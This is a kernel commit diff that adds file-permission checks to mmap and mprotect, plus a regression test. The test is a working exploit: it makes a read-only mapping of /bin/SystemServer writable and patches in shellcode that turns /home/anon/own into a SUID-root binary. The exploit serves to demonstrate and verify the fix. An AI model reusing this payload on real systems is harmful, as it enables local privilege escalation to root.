diff options
-rw-r--r-- | Kernel/Process.cpp | 26 | ||||
-rw-r--r-- | Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp | 70 |
2 files changed, 96 insertions, 0 deletions
diff --git a/Kernel/Process.cpp b/Kernel/Process.cpp index afbd8a3561..6dab0e51b6 100644 --- a/Kernel/Process.cpp +++ b/Kernel/Process.cpp @@ -248,6 +248,16 @@ static bool validate_mmap_prot(int prot, bool map_stack) return true; } +static bool validate_inode_mmap_prot(const Process& process, int prot, const Inode& inode) +{ + auto metadata = inode.metadata(); + if ((prot & PROT_WRITE) && !metadata.may_write(process)) + return false; + if ((prot & PROT_READ) && !metadata.may_read(process)) + return false; + return true; +} + // Carve out a virtual address range from a region and return the two regions on either side Vector<Region*, 2> Process::split_region_around_range(const Region& source_region, const Range& desired_range) { @@ -329,6 +339,14 @@ void* Process::sys$mmap(const Syscall::SC_mmap_params* user_params) auto description = file_description(fd); if (!description) return (void*)-EBADF; + if ((prot & PROT_READ) && !description->is_readable()) + return (void*)-EACCES; + if ((prot & PROT_WRITE) && !description->is_writable()) + return (void*)-EACCES; + if (description->inode()) { + if (!validate_inode_mmap_prot(*this, prot, *description->inode())) + return (void*)-EACCES; + } auto region_or_error = description->mmap(*this, VirtualAddress((u32)addr), static_cast<size_t>(offset), size, prot); if (region_or_error.is_error()) { // Fail if MAP_FIXED or address is 0, retry otherwise @@ -400,6 +418,10 @@ int Process::sys$mprotect(void* addr, size_t size, int prot) return -EINVAL; if (whole_region->access() == prot_to_region_access_flags(prot)) return 0; + if (whole_region->vmobject().is_inode() + && !validate_inode_mmap_prot(*this, prot, static_cast<const InodeVMObject&>(whole_region->vmobject()).inode())) { + return -EACCES; + } whole_region->set_readable(prot & PROT_READ); whole_region->set_writable(prot & PROT_WRITE); whole_region->set_executable(prot & PROT_EXEC); @@ -415,6 +437,10 @@ int Process::sys$mprotect(void* addr, size_t size, int prot) return -EINVAL; if (old_region->access() == prot_to_region_access_flags(prot)) return 0; + if (old_region->vmobject().is_inode() + && !validate_inode_mmap_prot(*this, prot, static_cast<const InodeVMObject&>(old_region->vmobject()).inode())) { + return -EACCES; + } // This vector is the region(s) adjacent to our range. // We need to allocate a new region for the range we wanted to change permission bits on. diff --git a/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp b/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp new file mode 100644 index 0000000000..90a8feeb4e --- /dev/null +++ b/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp @@ -0,0 +1,70 @@ +#include <AK/Types.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/mman.h> +#include <unistd.h> + +int main() +{ + int fd = open("/bin/SystemServer", O_RDONLY); + if (fd < 0) { + perror("open"); + return 1; + } + u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + return 1; + } + + if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) { + perror("mprotect"); + return 1; + } + + /* + * + * This payload replaces the start of sigchld_handler in the /bin/SystemServer file. + * It does two things: + * + * chown ("/home/anon/own", 0, 0); + * chmod ("/home/anon/own", 04755); + * + * In other words, it turns "/home/anon/own" into a SUID-root executable! :^) + * + */ + +#if 0 + [bits 32] + [org 0x0804b111] + jmp $+17 + path: + db "/home/anon/own", 0 + mov eax, 79 + mov edx, path + mov ecx, 0 + mov ebx, 0 + int 0x82 + mov eax, 67 + mov edx, path + mov ecx, 15 + mov ebx, 2541 + int 0x82 + ret +#endif + + const u8 payload[] = { + 0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f, + 0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00, + 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb, + 0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00, + 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb, + 0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3 + }; + + memcpy(&ptr[0x3111], payload, sizeof(payload)); + + printf("ok\n"); + return 0; +} |